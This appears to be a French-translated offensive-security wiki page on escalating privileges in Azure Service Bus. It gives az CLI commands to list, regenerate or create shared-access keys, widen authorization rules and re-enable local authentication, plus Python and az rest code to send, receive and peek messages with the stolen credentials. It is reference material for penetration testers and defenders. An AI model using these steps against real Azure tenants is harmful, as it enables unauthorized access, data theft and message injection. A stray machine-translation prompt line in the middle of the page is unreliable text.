Az - Service Bus Privesc

Reading time: 13 minutes

Service Bus

Pour plus d'informations, consultez :

Az - Service Bus

Microsoft.ServiceBus/namespaces/authorizationrules/listKeys/action OU Microsoft.ServiceBus/namespaces/authorizationrules/regenerateKeys/action

Ces autorisations vous permettent d'obtenir ou de régénérer les clés pour les règles d'autorisation locales au sein d'un espace de noms Service Bus. En utilisant ces clés, il est possible de s'authentifier en tant qu'espace de noms Service Bus, vous permettant d'envoyer des messages à n'importe quelle file d'attente ou sujet, de recevoir des messages de n'importe quelle file d'attente ou abonnement, ou potentiellement d'interagir avec le système de manière à perturber les opérations, usurper des utilisateurs valides ou injecter des données malveillantes dans le flux de messagerie.

Notez qu'en règle générale, la RootManageSharedAccessKey règle a un contrôle total sur l'espace de noms Service Bus et qu'elle est utilisée par le az cli, cependant, d'autres règles avec d'autres valeurs de clé peuvent exister.

# List keys
az servicebus namespace authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --authorization-rule-name RootManageSharedAccessKey [--authorization-rule-name RootManageSharedAccessKey]

# Regenerate keys
az servicebus namespace authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> [--authorization-rule-name RootManageSharedAccessKey]

Microsoft.ServiceBus/namespaces/AuthorizationRules/write

Avec cette autorisation, il est possible de créer une nouvelle règle d'autorisation avec toutes les autorisations et ses propres clés avec :

az servicebus namespace authorization-rule create --authorization-rule-name "myRule" --namespace-name mynamespacespdemo --resource-group Resource_Group_1 --rights Manage Listen Send

[!WARNING] Cette commande ne répond pas avec les clés, vous devez donc les obtenir avec les commandes précédentes (et les autorisations) afin d'escalader les privilèges.

De plus, avec cette commande (et Microsoft.ServiceBus/namespaces/authorizationRules/read), si vous effectuez cette action via l'Azure CLI, il est possible de mettre à jour une règle d'autorisation existante et de lui donner plus d'autorisations (au cas où elle en manquerait) avec la commande suivante :

az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \
--namespace-name <MyNamespace> \
--name RootManageSharedAccessKey \
--rights Manage Listen Send

Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OU Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action

Des sujets et des files d'attente spécifiques à l'intérieur d'un espace de noms Service Bus peuvent avoir leurs propres règles d'autorisation, qui peuvent être utilisées pour contrôler l'accès à l'entité. En ayant ces autorisations, vous pouvez récupérer ou régénérer les clés pour ces règles d'autorisation locales, vous permettant de vous authentifier en tant qu'entité et potentiellement d'envoyer ou de recevoir des messages, de gérer des abonnements ou d'interagir avec le système de manière à perturber les opérations, usurper des utilisateurs valides ou injecter des données malveillantes dans le flux de messages.

# List keys (topics)
az servicebus topic authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>

# Regenerate keys (topics)
az servicebus topic authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>

# List keys (queues)
az servicebus queue authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>

# Regenerate keys (queues)
az servicebus queue authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>

Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/write

Avec cette autorisation, il est possible de créer une nouvelle règle d'autorisation avec toutes les autorisations et ses propres clés avec :

# In a topic
az servicebus topic authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send

# In a queue
az servicebus queue authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send

[!WARNING] Cette commande ne répond pas avec les clés, vous devez donc les obtenir avec les commandes (et permissions) précédentes afin d'escalader les privilèges.

De plus, avec cette commande (et Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/read), si vous effectuez cette action via l'Azure CLI, il est possible de mettre à jour une règle d'autorisation existante et de lui donner plus de permissions (au cas où elle en manquerait) avec la commande suivante :

# In a topic
az servicebus topic authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send

# In a queue
az servicebus queue authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send

Microsoft.ServiceBus/namespaces/write (& Microsoft.ServiceBus/namespaces/read si az cli est utilisé)

Avec ces permissions, un attaquant peut réactiver "l'authentification locale" avec la commande suivante et donc toutes les clés des politiques partagées fonctionneront.

az servicebus namespace update --disable-local-auth false -n <namespace-name> --resource-group <res-group>

Envoyer des messages avec des clés (Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OU Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action)

Vous pouvez récupérer le PrimaryConnectionString, qui agit comme un identifiant pour le namespace Service Bus. Avec cette chaîne de connexion, vous pouvez vous authentifier complètement en tant que namespace Service Bus, vous permettant d'envoyer des messages à n'importe quelle file d'attente ou sujet et potentiellement d'interagir avec le système de manière à perturber les opérations, usurper des utilisateurs valides ou injecter des données malveillantes dans le flux de messagerie. Cette méthode fonctionne si --disable-local-auth est défini sur false (donc l'authentification locale est activée).

import asyncio
from azure.servicebus.aio import ServiceBusClient
from azure.servicebus import ServiceBusMessage
# pip install azure-servicebus

NAMESPACE_CONNECTION_STR = "<PrimaryConnectionString>"
TOPIC_OR_QUEUE_NAME = "<TOPIC_OR_QUEUE_NAME>"

async def send_message():
async with ServiceBusClient.from_connection_string(NAMESPACE_CONNECTION_STR) as client:
async with client.get_topic_sender(topic_name=TOPIC_OR_QUEUE_NAME) as sender:
await sender.send_messages(ServiceBusMessage("Hacktricks-Training: Single Item"))
print("Sent message")

asyncio.run(send_message())

De plus, vous pouvez envoyer des messages avec az rest, dans ce cas, vous devez générer un jeton sas à utiliser.

import time, urllib.parse, hmac, hashlib, base64

def generate_sas_token(uri, key_name, key, expiry_in_seconds=3600):
expiry = int(time.time() + expiry_in_seconds)
string_to_sign = urllib.parse.quote_plus(uri) + "\n" + str(expiry)
signed_hmac_sha256 = hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).digest()
signature = urllib.parse.quote_plus(base64.b64encode(signed_hmac_sha256))
token = f"SharedAccessSignature sr={urllib.parse.quote_plus(uri)}&sig={signature}&se={expiry}&skn={key_name}"
return token

# Replace these with your actual values
resource_uri = "https://<namespace>.servicebus.windows.net/<queue_or_topic>"
key_name = "<SharedKeyName>"
primary_key = "<PrimaryKey>"

sas_token = generate_sas_token(resource_uri, key_name, primary_key)
print(sas_token)

az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<queue>/messages" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=https%3A%2F%2F<NAMESPACE>.servicebus.windows.net%2F<TOPIC_OR_QUEUE_NAME>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>" \
--body "<MESSAGE_BODY>"

Recevoir avec des clés (Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OU Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action)

Vous pouvez récupérer le PrimaryConnectionString, qui sert de credential pour le namespace Service Bus. En utilisant cette chaîne de connexion, vous pouvez recevoir des messages de n'importe quelle file d'attente ou abonnement au sein du namespace, permettant l'accès à des données potentiellement sensibles ou critiques, facilitant l'exfiltration de données, ou interférant avec le traitement des messages et les flux de travail des applications. Cette méthode fonctionne si --disable-local-auth est défini sur false.

import asyncio
from azure.servicebus.aio import ServiceBusClient
# pip install azure-servicebus

CONN_STR = "<PrimaryConnectionString>"
QUEUE = "<QUEUE_NAME>"

# For topics/subscriptions, you would use:
# TOPIC = "<TOPIC_NAME>"
# SUBSCRIPTION = "<TOPIC_SUBSCRIPTION_NAME>"

async def receive():
async with ServiceBusClient.from_connection_string(CONN_STR) as client:
# For a queue receiver:
async with client.get_queue_receiver(queue_name=QUEUE, max_wait_time=5) as receiver:
msgs = await receiver.receive_messages(max_wait_time=5, max_message_count=20)
for msg in msgs:
print("Received:", msg)
await receiver.complete_message(msg)

# For a topic/subscription receiver (commented out):
# async with client.get_subscription_receiver(topic_name=TOPIC, subscription_name=SUBSCRIPTION, max_wait_time=5) as receiver:
#     msgs = await receiver.receive_messages(max_wait_time=5, max_message_count=20)
#     for msg in msgs:
#         print("Received:", msg)
#         await receiver.complete_message(msg)

asyncio.run(receive())
print("Done receiving messages")

De plus, vous pouvez envoyer des messages avec az rest, dans ce cas, vous devez générer un jeton sas à utiliser.

import time, urllib.parse, hmac, hashlib, base64

def generate_sas_token(uri, key_name, key, expiry_in_seconds=3600):
expiry = int(time.time() + expiry_in_seconds)
string_to_sign = urllib.parse.quote_plus(uri) + "\n" + str(expiry)
signature = urllib.parse.quote_plus(base64.b64encode(
hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).digest()
))
token = f"SharedAccessSignature sr={urllib.parse.quote_plus(uri)}&sig={signature}&se={expiry}&skn={key_name}"
return token

# Example usage:
resource_uri = "https://<namespace>.servicebus.windows.net/queue"  # For queue
# resource_uri = "https://<namespace>.servicebus.windows.net/<topic>/subscriptions/<subscription>"  # For topic subscription
sas_token = generate_sas_token(resource_uri, "<KEYNAME>", "<PRIMARY_KEY>")
print(sas_token)

Pour une file d'attente, vous pouvez obtenir ou jeter un œil au message (obtenir un message les supprimerait, tandis que jeter un œil ne le ferait pas) :

#Get a message
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<QUEUE>/messages/head?timeout=60" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#Peek a message
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<QUEUE>/messages/head?peekonly=true&timeout=60" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#You can select the meesage changing the field PreviousSequenceNumber
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<ENTITY>/messages?timeout=60&PreviousSequenceNumber=<LAST_SEQUENCE_NUMBER>&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

Please provide the text you would like me to translate.

#Get a message
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages/head?timeout=60" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#Peek a message
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages/head?timeout=60&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#You can select the meesage changing the field PreviousSequenceNumber
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages?timeout=60&PreviousSequenceNumber=<LAST_SEQUENCE_NUMBER>&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

Envoyer des messages. DataActions: Microsoft.ServiceBus/namespaces/messages/send/action

Vous pouvez utiliser ces autorisations pour envoyer des messages, même si --disable-local-auth est défini sur true.

import asyncio
from azure.identity.aio import DefaultAzureCredential
from azure.servicebus.aio import ServiceBusClient
from azure.servicebus import ServiceBusMessage
# pip install azure-servicebus

NS = "<namespace>.servicebus.windows.net"  # Your namespace
QUEUE_OR_TOPIC = "<QUEUE_OR_TOPIC>"        # Your queue name

async def run():
credential = DefaultAzureCredential()
async with ServiceBusClient(fully_qualified_namespace=NS, credential=credential) as client:
#async with client.get_topic_sender(topic_name=TOPIC) as sender: # Use this to send the message to a topic
async with client.get_queue_sender(queue_name=QUEUE) as sender:
await sender.send_messages(ServiceBusMessage("Single Message"))
print("Sent a single message")
await credential.close()

if __name__ == "__main__":
asyncio.run(run())

Recevoir des messages. DataActions: Microsoft.ServiceBus/namespaces/messages/receive/action

Vous pouvez utiliser ces autorisations pour recevoir des messages, même si --disable-local-auth est défini sur true.

import asyncio
from azure.identity.aio import DefaultAzureCredential
from azure.servicebus.aio import ServiceBusClient
# pip install azure-servicebus

NS = "<namespace>.servicebus.windows.net"
QUEUE = "<QUEUE>"

# For a topic subscription, uncomment and set these values:
# TOPIC = "<TOPIC>"
# SUBSCRIPTION = "<SUBSCRIPTION>"

async def run():
credential = DefaultAzureCredential()
async with ServiceBusClient(fully_qualified_namespace=NS, credential=credential) as client:
# Receiving from a queue:
async with client.get_queue_receiver(queue_name=QUEUE, max_wait_time=5) as receiver:
async for msg in receiver:
print("Received from Queue:", msg)
await receiver.complete_message(msg)

# To receive from a topic subscription, uncomment the code below and comment out the queue receiver above:
# async with client.get_subscription_receiver(topic_name=TOPIC, subscription_name=SUBSCRIPTION, max_wait_time=5) as receiver:
#     async for msg in receiver:
#         print("Received from Topic Subscription:", msg)
#         await receiver.complete_message(msg)

await credential.close()

asyncio.run(run())
print("Done receiving messages")

Références

• https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
• https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
• https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
• https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless
• https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus